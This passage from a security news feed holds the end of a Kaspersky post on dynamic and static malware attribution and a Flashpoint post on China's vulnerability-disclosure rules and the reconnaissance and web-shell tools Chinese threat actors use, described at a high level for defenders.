      Kaspersky Threat Intelligence Portal provides a ton of additional reports on MysterySnail attacks, each complete with a list of IoCs and YARA rules. These YARA rules can be used to scan all endpoints, and those IoCs can be added into SIEM for constant monitoring. While we’re at it, let’s check the reports to see how these attackers handle data exfiltration, and what kind of data they’re usually hunting for. Now we can actually take steps to head off the attack.

      And just like that, MysterySnail, the infrastructure is now tuned to find you and respond immediately. No more spying for you!

      Malware attribution methods

      Before diving into specific methods, we need to make one thing clear: for attribution to actually work, the threat intelligence provided needs a massive knowledge base of the tactics, techniques, and procedures (TTPs) used by threat actors. The scope and quality of these databases can vary wildly among vendors. In our case, before even building our tool, we spent years tracking known groups across various campaigns and logging their TTPs, and we continue to actively update that database today.

      With a TTP database in place, the following attribution methods can be implemented:

      1. Dynamic attribution: identifying TTPs through the dynamic analysis of specific files, then cross-referencing that set of TTPs against those of known hacking groups
      2. Technical attribution: finding code overlaps between specific files and code fragments known to be used by specific hacking groups in their malware

      Dynamic attribution

      Identifying TTPs during dynamic analysis is relatively straightforward to implement; in fact, this functionality has been a staple of every modern sandbox for a long time. Naturally, all of our sandboxes also identify TTPs during the dynamic analysis of a malware sample:

      TTPs of a malware sample

      The core of this method lies in categorizing malware activity using the MITRE ATT&CK framework. A sandbox report typically contains a list of detected TTPs. While this is highly useful data, it’s not enough for full-blown attribution to a specific group. Trying to identify the perpetrators of an attack using just this method is a lot like the ancient Indian parable of the blind men and the elephant: blindfolded folks touch different parts of an elephant and try to deduce what’s in front of them from just that. The one touching the trunk thinks it’s a python; the one touching the side is sure it’s a wall, and so on.

      Blind men and an elephant

      Technical attribution

      The second attribution method is handled via static code analysis (though keep in mind that this type of attribution is always problematic). The core idea here is to cluster even slightly overlapping malware files based on specific unique characteristics. Before analysis can begin, the malware sample must be disassembled. The problem is that alongside the informative and useful bits, the recovered code contains a lot of noise. If the attribution algorithm takes this non-informative junk into account, any malware sample will end up looking similar to a great number of legitimate files, making quality attribution impossible. On the flip side, trying to only attribute malware based on the useful fragments but using a mathematically primitive method will only cause the false positive rate to go through the roof. Furthermore, any attribution result must be cross-checked for similarities with legitimate files — and the quality of that check usually depends heavily on the vendor’s technical capabilities.

      Kaspersky’s approach to attribution

      Our products leverage a unique database of malware associated with specific hacking groups, built over more than 25 years. On top of that, we use a patented attribution algorithm based on static analysis of disassembled code. This allows us to determine — with high precision, and even a specific probability percentage — how similar an analyzed file is to known samples from a particular group. This way, we can form a well-grounded verdict attributing the malware to a specific threat actor. The results are then cross-referenced against a database of billions of legitimate files to filter out false positives; if a match is found with any of them, the attribution verdict is adjusted accordingly. This approach is the backbone of the Kaspersky Threat Attribution Engine, which powers the threat attribution service on the Kaspersky Threat Intelligence Portal.

      How China’s “Walled Garden” is Redefining the Cyber Threat Landscape

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      How China’s “Walled Garden” is Redefining the Cyber Threat Landscape

      In our latest webinar, Flashpoint unpacks the architecture of the Chinese threat actor cyber ecosystem—a parallel offensive stack fueled by government mandates and commercialized hacker-for-hire industry.

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      January 30, 2026

      For years, the global cybersecurity community has operated under the assumption that technical information was a matter of public record. Security research has always been openly discussed and shared through a culture of global transparency. Today, that reality has fundamentally shifted. Flashpoint is witnessing a growing opacity—a “Walled Garden”—around Chinese data. As a result, the competence of Chinese threat actors and APTs has reached an industrialized scale.

      In Flashpoint’s recent on-demand webinar, “Mapping the Adversary: Inside the Chinese Pentesting Ecosystem,” our analysts explain how China’s state policies surrounding zero-day vulnerability research have effectively shut out the cyber communities that once provided a window into Chinese tradecraft. However, they haven’t disappeared. Rather, they have been absorbed by the state to develop a mature, self-sustaining offensive stack capable of targeting global infrastructure.

      Understanding the Walled Garden: The Shift from Disclosure to Nationalization

      The “Walled Garden” is a direct result of a Chinese regulatory turning point in 2021: the Regulations on the Management of Security Vulnerabilities (RMSV). While the gradual walling off of China’s data is the cumulative result of years of implementing regulatory and policy strategies, the 2021 RMSV marks a critical turning point that effectively nationalized China’s vulnerability research capabilities. Under the RMSV, any individual or organization in China that discovers a new flaw must report it to the Ministry of Industry and Information Technology (MIIT) within 48 hours. Crucially, researchers are prohibited from sharing technical details with third parties—especially foreign entities—or selling them before a patch is issued.

      It is important to note that this mandate is not limited to Chinese-based software or hardware; it applies to any vulnerability discovered, as long as the discoverer is a Chinese-based organization or national. This effectively treats software vulnerabilities as a national strategic resource for China. By centralizing this data, the Chinese government ensures it has an early window into zero-day exploits before the global defensive community. 

      For defenders, this means that by the time a vulnerability is public, there is a high probability it has already been analyzed and potentially weaponized within China’s state-aligned apparatus.

      The Indigenous Kill Chain: Reconnaissance Beyond Shodan

      Flashpoint analysts have observed that within this Walled Garden, traditional Western reconnaissance tools are losing their effectiveness. Chinese threat actors are utilizing an indigenous suite of cyberspace search engines that create a dangerous information asymmetry, allowing them to peer at defender infrastructure while shielding their own domestic base from Western scrutiny.

      While Shodan remains the go-to resource for security teams, Flashpoint has seen Chinese threat actors favor three IoT search engines that offer them a massive home-field advantage:

      • FOFA: Specializes in deep fingerprinting for middleware and Chinese-specific signatures, often indexing dorks for new vulnerabilities weeks before they appear in the West.
      • Zoomai: Built for high-speed automation, offering APIs that integrate with AI systems to move from discovery to verified target in minutes.
      • 360 Quake: Provides granular, real-time mapping through a CLI with an AI engine for complex asset portraits.

      In the full session, we demonstrate exactly how Chinese operators use these tools to fuse reconnaissance and exploitation into a single, automated step—a capability most Western EDRs aren’t yet tuned to detect.

      Building a State-Aligned Offensive Stack

      Leveraging their knowledge of vulnerabilities and zero-day exploits, the illicit Chinese ecosystem is building tools designed to dismantle the specific technologies that power global corporate data centers and business hubs.

      In the webinar, our analysts explain purpose-built cyber weapons designed to hunt VMware vCenter servers that support one-click shell uploads via vulnerabilities like Log4Shell. Beyond the initial exploit, Flashpoint highlights the rising use of Behinder (Ice Scorpion)—a sophisticated web shell management tool. Behinder has become a staple for Chinese operators because it encrypts command-and-control (C2) traffic, allowing attackers to evade conventional inspection and deep packet analytics.

      Strengthen Your Defenses Against the Chinese Offensive Stack with Flashpoint

      By understanding this “Walled Garden” architecture, defenders can move beyond generic signatures and begin to hunt for the specific TTPs—such as high-entropy C2 traffic and proprietary Chinese scanning patterns—that define the modern Chinese threat actor.

      How can Flashpoint help? Flashpoint’s cyber threat intelligence platform cuts through the generic feed overload and delivers unrivaled primary-source data, AI-powered analysis, and expert human context.

      Watch the on-demand webinar to learn more, or request a demo today.

      Request a demo today.

      The post How China’s “Walled Garden” is Redefining the Cyber Threat Landscape appeared first on Flashpoint.

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